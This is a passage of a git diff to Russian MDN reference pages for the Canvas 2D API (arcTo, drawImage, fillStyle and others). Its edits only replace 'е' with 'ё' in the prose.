Web/API/CanvasRenderingContext2D/arcTo <h3 id="Как_работает_arcTo">Как работает arcTo</h3> -<p>Один из способов понять как работает <code>arcTo()</code> - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без <code>arcTo()</code> эти два сегмента образовали бы острый угол: <code>arcTo()</code> создает дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.</p> +<p>Один из способов понять как работает <code>arcTo()</code> - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без <code>arcTo()</code> эти два сегмента образовали бы острый угол: <code>arcTo()</code> создаёт дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.</p> <h4 id="HTML">HTML</h4> @@ -87,7 +87,7 @@ ctx.fill();</pre> <p>{{ EmbedLiveSample('Как_работает_arcTo', 315, 165) }}</p> -<h3 id="Создание_скругленного_угла">Создание скругленного угла</h3> +<h3 id="Создание_скруглённого_угла">Создание скруглённого угла</h3> <p>В этом примере создаётся скруглённый угол с использованием <code>arcTo()</code>. Это ещё один метод, который часто используется.</p> @@ -123,7 +123,7 @@ ctx.stroke();</pre> <h4 id="Результат_2">Результат</h4> -<p>{{ EmbedLiveSample('Создание_скругленного_угла', 315, 165) }}</p> +<p>{{ EmbedLiveSample('Создание_скруглённого_угла', 315, 165) }}</p> <h3 id="Результат_с_большим_радиусом">Результат с большим радиусом</h3> diff --git a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html index 635c849882..81fe31aa72 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html @@ -74,7 +74,7 @@ ctx.fillRect(150, 70, 10, 10);</pre> <h3 id="Практическое_применение_bezierCurveTo">Практическое применение <code>bezierCurveTo</code></h3> -<p>Вы можете редактировать код, представленный ниже, и внесенные вами изменения отобразятся на холсте в режиме реального времени:</p> +<p>Вы можете редактировать код, представленный ниже, и внесённые вами изменения отобразятся на холсте в режиме реального времени:</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> diff --git a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html index 70352dbe22..cf5dea358d 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/clearRect --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, предоставляемый Canvas 2D API, устанавливает прозрачный черный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой <em>(x, y)</em> и размерами <em>(width, height)</em>, таким образом стирая любое ранее нарисованное содержимое.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, предоставляемый Canvas 2D API, устанавливает прозрачный чёрный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой <em>(x, y)</em> и размерами <em>(width, height)</em>, таким образом стирая любое ранее нарисованное содержимое.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html index 86ecbaf06d..89349a3873 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html @@ -50,7 +50,7 @@ ctx.stroke(); <h3 id="Закрытие_пути_один_раз">Закрытие пути один раз</h3> -<p>Этот пример рисует смайлик, состоящий из трех не соединенных дуг (под путей).</p> +<p>Этот пример рисует смайлик, состоящий из трёх не соединённых дуг (под путей).</p> <div class="blockIndicator note"> <p>Хотя <code>closePath()</code> вызывается после создания всех дуг, закрывается только последняя.</p> @@ -63,7 +63,7 @@ ctx.stroke(); <h4 id="JavaScript_2">JavaScript</h4> -<p>Первые две дуги создают глаза, последняя создает рот.</p> +<p>Первые две дуги создают глаза, последняя создаёт рот.</p> <pre class="brush: js; highlight:[10]">const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html index 9337731350..25d4a915b3 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, предоставляемый Canvas 2D API, создает градиент вдоль линии, соединенной двумя точками с заданными координатами.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, предоставляемый Canvas 2D API, создаёт градиент вдоль линии, соединённой двумя точками с заданными координатами.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14681/mdn-canvas-linearGradient.png" style="height: 121px; width: 264px;"></p> @@ -44,14 +44,14 @@ translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient <dl> <dt>{{domxref("CanvasGradient")}}</dt> - <dd>Линейный <code>CanvasGradient</code>, определенный линией.</dd> + <dd>Линейный <code>CanvasGradient</code>, определённый линией.</dd> </dl> <h2 id="Примеры">Примеры</h2> <h3 id="Заполнение_прямоугольника_с_линейным_градиентом">Заполнение прямоугольника с линейным градиентом</h3> -<p>В примере создается и добавляется линейный градиент, используя метод <code>createLinearGradient()</code>. Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.</p> +<p>В примере создаётся и добавляется линейный градиент, используя метод <code>createLinearGradient()</code>. Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html index 8a510de988..370ecfcb57 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html @@ -28,28 +28,28 @@ void <var><em>ctx</em>.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, <dt><code>image</code></dt> <dd>Элемент для отображения в контексте. Функция принимает любой источник изображения, пригодный для отображения на холсте ({{domxref("CanvasImageSource")}}), конкретнее, {{domxref("CSSImageValue")}}, {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("ImageBitmap")}} или {{domxref("OffscreenCanvas")}}.</dd> <dt><code>dx</code></dt> - <dd>Координата по оси Х, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd> + <dd>Координата по оси Х, обозначающая стартовую точку холста-приёмника, в которую будет помещён верхний левый угол исходного <code>image</code>.</dd> <dt><code>dy</code></dt> - <dd>Координата по оси Y, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd> + <dd>Координата по оси Y, обозначающая стартовую точку холста-приёмника, в которую будет помещён верхний левый угол исходного <code>image</code>.</dd> <dt><code>dWidth</code></dt> <dd>Ширина изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по ширине. Если опция не задана, изображение не будет масштабировано.</dd> <dt><code>dHeight</code></dt> <dd>Высота изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по высоте. Если опция не задана, изображение не будет масштабировано.</dd> <dt><code>sx</code></dt> - <dd>Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd> + <dd>Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещён в контекст-приемник.</dd> <dt><code>sy</code></dt> - <dd>Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd> + <dd>Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещён в контекст-приемник.</dd> <dt><code>sWidth</code></dt> - <dd>Ширина фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник. Если не задана, фрагмент от точки, заданной <code>sx</code> и <code>sy</code> до правого нижнего угла источника будет целиком скопирован в контекст-приемник.</dd> + <dd>Ширина фрагмента, который будет вырезан из изображения источника и помещён в контекст-приёмник. Если не задана, фрагмент от точки, заданной <code>sx</code> и <code>sy</code> до правого нижнего угла источника будет целиком скопирован в контекст-приемник.</dd> <dt><code>sHeight</code></dt> - <dd>Высота фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник.</dd> + <dd>Высота фрагмента, который будет вырезан из изображения источника и помещён в контекст-приемник.</dd> </dl> <h3 id="Исключения">Исключения</h3> <dl> <dt><code>INDEX_SIZE_ERR</code></dt> - <dd>Выбрасывается, если ширина или высота источника или приемника равна нулю.</dd> + <dd>Выбрасывается, если ширина или высота источника или приёмника равна нулю.</dd> <dt><code>INVALID_STATE_ERR</code></dt> <dd>Источник не имеет данных изображения.</dd> <dt><code>TYPE_MISMATCH_ERR</code></dt> @@ -316,7 +316,7 @@ function drawImageActualSize() { <ul> <li><code>drawImage()</code> корректно работает с {{domxref("HTMLVideoElement")}} только в том случае, когда {{domxref("HTMLMediaElement.readyState")}}<strong> больше единицы</strong> (т.е., событие <strong>seek</strong> корректно вызывается после установки свойства <code>currentTime</code>)</li> <li><code>drawImage()</code> будет использовать внутренний размер элемента-источника, выраженный в CSS-пикселях, при рисовании, фрагментировании или масштабировании.</li> - <li><code>drawImage()</code> проигнорирует все EXIF-данные изображений, в том числе и <code>Orientation</code>. Такое поведение метода особенно проблематично для iOS-устройств. Вам потребуется распознать ориентацию самостоятельно и использовать <code>rotate()</code> для ее корректировки.</li> + <li><code>drawImage()</code> проигнорирует все EXIF-данные изображений, в том числе и <code>Orientation</code>. Такое поведение метода особенно проблематично для iOS-устройств. Вам потребуется распознать ориентацию самостоятельно и использовать <code>rotate()</code> для её корректировки.</li> </ul> <h2 id="См._также">См. также</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html index 62fe8e6913..48c6ac8108 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html @@ -18,7 +18,7 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse <pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]); </pre> -<p><code>ellipse()</code> - метод, который создает эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идет по направлению, казанному в параметре (по часовой стрелке или против нее) <code>anticlockwise</code> .</p> +<p><code>ellipse()</code> - метод, который создаёт эллиптическую дугу с центром в точках <code>(x, y)</code> с радиусом <code>radiusX</code> и <code>radiusY</code>. Путь начинается от точки <code>startAngle</code> и заканчивается в точке <code>endAngle</code>, идёт по направлению, казанному в параметре (по часовой стрелке или против неё) <code>anticlockwise</code> .</p> <h3 id="Параметры">Параметры</h3> diff --git a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html index d7ec3573d8..ddc127a9ad 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fill --- <div>{{APIRef}}</div> -<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или четно-нечетное.</p> +<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> метод Canvas 2D API заполняет текущий или заданный путём с текущим стилем заливки, используя одно из двух правил - ненулевого индекса или чётно-нечетное.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -28,7 +28,7 @@ void <var><em>ctx</em>.fill(path[, fillRule]);</var> Возможные значения: <ul> <li><code><strong>"nonzero</strong></code>": <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BD%D0%B5%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D0%BE%D0%B3%D0%BE_%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0">Правило ненулевого индекса</a>, значение по умолчанию</li> - <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Четно-нечетное правило</a></li> + <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Чётно-нечётное правило</a></li> </ul> </dd> <dt><code>path</code></dt> @@ -54,7 +54,7 @@ ctx.rect(10, 10, 100, 100); ctx.fill(); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> <div class="hidden"> <h6 id="Playable_code">Playable code</h6> @@ -116,7 +116,7 @@ window.addEventListener("load", drawCanvas); <h2 id="Совместимость">Совместимость</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос, чтобы мы изменили данные.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте запрос, чтобы мы изменили данные.</div> <p>{{Compat("api.CanvasRenderingContext2D.fill")}}</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html index a0df2eb821..17c6172158 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillStyle --- <div>{{APIRef}}</div> -<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, предоставляемое <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, задает цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p> +<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, предоставляемое <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, задаёт цвет или стиль, используемый при заливке фигур. По умолчанию установлено значение <code>#000</code> (чёрный цвет).</p> <div class="blockIndicator note"> <p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p> @@ -57,7 +57,7 @@ ctx.fillRect(10, 10, 100, 100);</pre> <h3 id="Использование_fillStyle_в_циклах_for">Использование fillStyle в циклах for</h3> -<p>В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные <code>i</code> и <code>j</code>, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зеленый цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.</p> +<p>В этом примере мы используем два цикла для рисования сетки из прямоугольников, каждый из которых будет закрашен разным цветом. Получившееся изображение должно выглядеть как на скриншоте . Здесь нет ничего сложного. Мы используем две переменные <code>i</code> и <code>j</code>, чтобы создать уникальный цвет для каждого квадрата, смешивая красный и зелёный цвета. Значение синего цвета изменяться не будет. Изменяя значения цветов, вы можете создать все цвета. Увеличив количество шагов, вы сможете создать цветовую палитру, наподобие той, которая используется в Photoshop.</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html index ffa2b83d8c..7823142df3 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответствии с указанной максимальной шириной.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> предоставляемый Canvas 2D API, рисует (заливает) заданный текст в заданной позиции (<em>x, y</em>). Если указан необязательный четвёртый параметр, текст будет масштабироваться в соответствии с указанной максимальной шириной.</p> <p>См. также метод {{domxref("CanvasRenderingContext2D.strokeText()")}} для выполнения обводки текста.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/font/index.html b/files/ru/web/api/canvasrenderingcontext2d/font/index.html index e1349eb001..572f0af5f3 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/font/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/font/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/CanvasRenderingContext2D/font <h3 id="Использование_пользовательского_шрифта">Использование пользовательского шрифта</h3> -<p>Этот пример задает в свойстве <code>font</code> другие <code>font-size</code> и <code>font-family</code>.</p> +<p>Этот пример задаёт в свойстве <code>font</code> другие <code>font-size</code> и <code>font-family</code>.</p> <h4 id="HTML">HTML</h4> diff --git a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html index 879efff5f0..b2a236c22a 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html @@ -20,13 +20,13 @@ translation_of: Web/API/CanvasRenderingContext2D/getImageData <dl> <dt><code>sx</code></dt> - <dd>Координата x верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Координата x верхнего левого угла прямоугольника, из которого будет извлечён ImageData.</dd> <dt><code>sy</code></dt> - <dd>Координата y верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Координата y верхнего левого угла прямоугольника, из которого будет извлечён ImageData.</dd> <dt><code>sw</code></dt> - <dd>Ширина прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Ширина прямоугольника, из которого будет извлечён ImageData.</dd> <dt><code>sh</code></dt> - <dd>Высота прямоугольника, из которого будет извлечен ImageData.</dd> + <dd>Высота прямоугольника, из которого будет извлечён ImageData.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html index ec3adafad1..59559fe3cb 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/CanvasRenderingContext2D/getLineDash <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в единицах пространства координат). Если число заданных элементов нечетное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как <code>[5, 15, 25]</code> в результате мы получим <code>[5, 15, 25, 5, 15, 25]</code>.</p> +<p>{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в единицах пространства координат). Если число заданных элементов нечётное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как <code>[5, 15, 25]</code> в результате мы получим <code>[5, 15, 25, 5, 15, 25]</code>.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html index f9ec551915..f2a0e38c0e 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html @@ -62,7 +62,7 @@ ctx.fillRect(50, 50, 100, 100); <h3 id="Наложение_прозрачных_фигур">Наложение прозрачных фигур</h3> -<p>Этот пример демонстрирует эффект наложения нескольких прозрачных фигур друг на друга. Мы начнем с отрисовки непрозрачного фона, состоящего из четырех разноцветных квадратов. Далее мы устанавливаем свойство <code>globalAlpha</code> равное <code>0.2</code> (20% прозрачности); Уровень прозрачности будет применен ко всем прозрачным фигурам. Затем мы используем цикл <code>for</code> для отрисовки нескольких кругов с увеличивающимися радиусами.</p> +<p>Этот пример демонстрирует эффект наложения нескольких прозрачных фигур друг на друга. Мы начнём с отрисовки непрозрачного фона, состоящего из четырёх разноцветных квадратов. Далее мы устанавливаем свойство <code>globalAlpha</code> равное <code>0.2</code> (20% прозрачности); Уровень прозрачности будет применён ко всем прозрачным фигурам. Затем мы используем цикл <code>for</code> для отрисовки нескольких кругов с увеличивающимися радиусами.</p> <p>Для каждого нового круга прозрачность кругов, находящихся под ним, уменьшается. Если вы увеличите количество шагов, тем самым увеличив количество кругов, фон в конечном итоге полностью исчезнет в центре изображения.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/index.html b/files/ru/web/api/canvasrenderingcontext2d/index.html index ba7e559918..149f72ee66 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/index.html @@ -37,7 +37,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt> - <dd>Для всех пикселей, находящихся внутри прямоугольника, определенного начальной точкой <em>(x, y)</em> и размерами <em>(ширина, высота),</em> устанавливает черный прозрачный цвет, стирая любое ранее нарисованное содержимое.</dd> + <dd>Для всех пикселей, находящихся внутри прямоугольника, определённого начальной точкой <em>(x, y)</em> и размерами <em>(ширина, высота),</em> устанавливает чёрный прозрачный цвет, стирая любое ранее нарисованное содержимое.</dd> <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt> <dd>Рисует залитый прямоугольник в позиции <em>(x, y)</em>, размеры которого определяются шириной <em>width</em> и высотой <em>height</em>.</dd> <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt> @@ -71,7 +71,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt> <dd>Ограничение длины сопряжений. По умолчанию <code>10</code>.</dd> <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt> - <dd>Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из четного количества неотрицательных чисел.</dd> + <dd>Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из чётного количества неотрицательных чисел.</dd> <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt> <dd>Устанавливает текущий паттерн штриховой линии.</dd> <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt> @@ -99,20 +99,20 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt> - <dd>Цвет или стиль применяемый внутри форм. По умолчанию #000 (черный).</dd> + <dd>Цвет или стиль применяемый внутри форм. По умолчанию #000 (чёрный).</dd> <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt> - <dd>Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (черный).</dd> + <dd>Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (чёрный).</dd> </dl> <h2 id="Градиенты_и_шаблоны">Градиенты и шаблоны</h2> <dl> <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt> - <dd>Создает линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.</dd> + <dd>Создаёт линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.</dd> <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt> - <dd>Создает радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.</dd> + <dd>Создаёт радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.</dd> <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt> - <dd>Создает шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.</dd> + <dd>Создаёт шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.</dd> </dl> <h2 id="Тени">Тени</h2> @@ -134,7 +134,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt> - <dd>Создает новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.</dd> + <dd>Создаёт новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.</dd> <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt> <dd>Перемещает точку рисования назад к началу текущего фрагмента контура. Этот метод пытается провести прямую линию от текущей точки до начальной. Если форма уже закрыта или имеет только одну точку, метод ничего не делает.</dd> <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt> @@ -152,7 +152,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt> <dd>Добавляет к контуру эллипс, с центром в точке <em>(x, y)</em>, заданный радиусами <em>radiusX</em> и <em>radiusY</em>, имеющий угол начала <em>startAngle</em> и конца <em>endAngle</em>, рисующийся в направлении, заданном в аргументе <em>anticlockwise</em> (по умолчанию - по часовой стрелке).</dd> <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt> - <dd>Создает контур прямоугольника с началом в точке <em>(x, y)</em>, и размерами, заданными шириной <em>width</em> и высотой <em>height</em>.</dd> + <dd>Создаёт контур прямоугольника с началом в точке <em>(x, y)</em>, и размерами, заданными шириной <em>width</em> и высотой <em>height</em>.</dd> </dl> <h2 id="Рисование_контуров">Рисование контуров</h2> @@ -167,7 +167,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt> <dd>Прокручивает текущий или заданный контур в видимую область окна браузера.</dd> <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt> - <dd>Создает область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода <code>clip()</code> применяется только внутри области отсечения. Пример использования см. в разделе <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Области отсечения</a> руководства по Canvas.</dd> + <dd>Создаёт область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода <code>clip()</code> применяется только внутри области отсечения. Пример использования см. в разделе <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Области отсечения</a> руководства по Canvas.</dd> <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt> <dd>Позволяет узнать, содержится ли указанная точка в текущем контуре.</dd> <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt> @@ -201,7 +201,7 @@ ctx.fillRect(10, 10, 55, 50); <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt> <dd>Значение альфа-канала, применяемое к формам и изображениям, прежде чем они накладываются на холст. Значение по умолчанию <code>1.0</code> (полностью непрозрачный).</dd> <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt> - <dd>Совместно с примененным <code>globalAlpha</code> это свойство определяет как формы и изображения накладываются на существующее изображение.</dd> + <dd>Совместно с применённым <code>globalAlpha</code> это свойство определяет как формы и изображения накладываются на существующее изображение.</dd> </dl> <h2 id="Рисование_изображений">Рисование изображений</h2> @@ -217,7 +217,7 @@ ctx.fillRect(10, 10, 55, 50); <dl> <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt> - <dd>Создает новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.</dd> + <dd>Создаёт новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.</dd> <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt> <dd>Возвращает объект {{domxref("ImageData")}}, представляющий данные о пикселах, расположенных под областью холста, ограниченной прямоугольником длиной <em>sw</em> и высотой <em>sh</em>, начальная точка которого находится в позиции 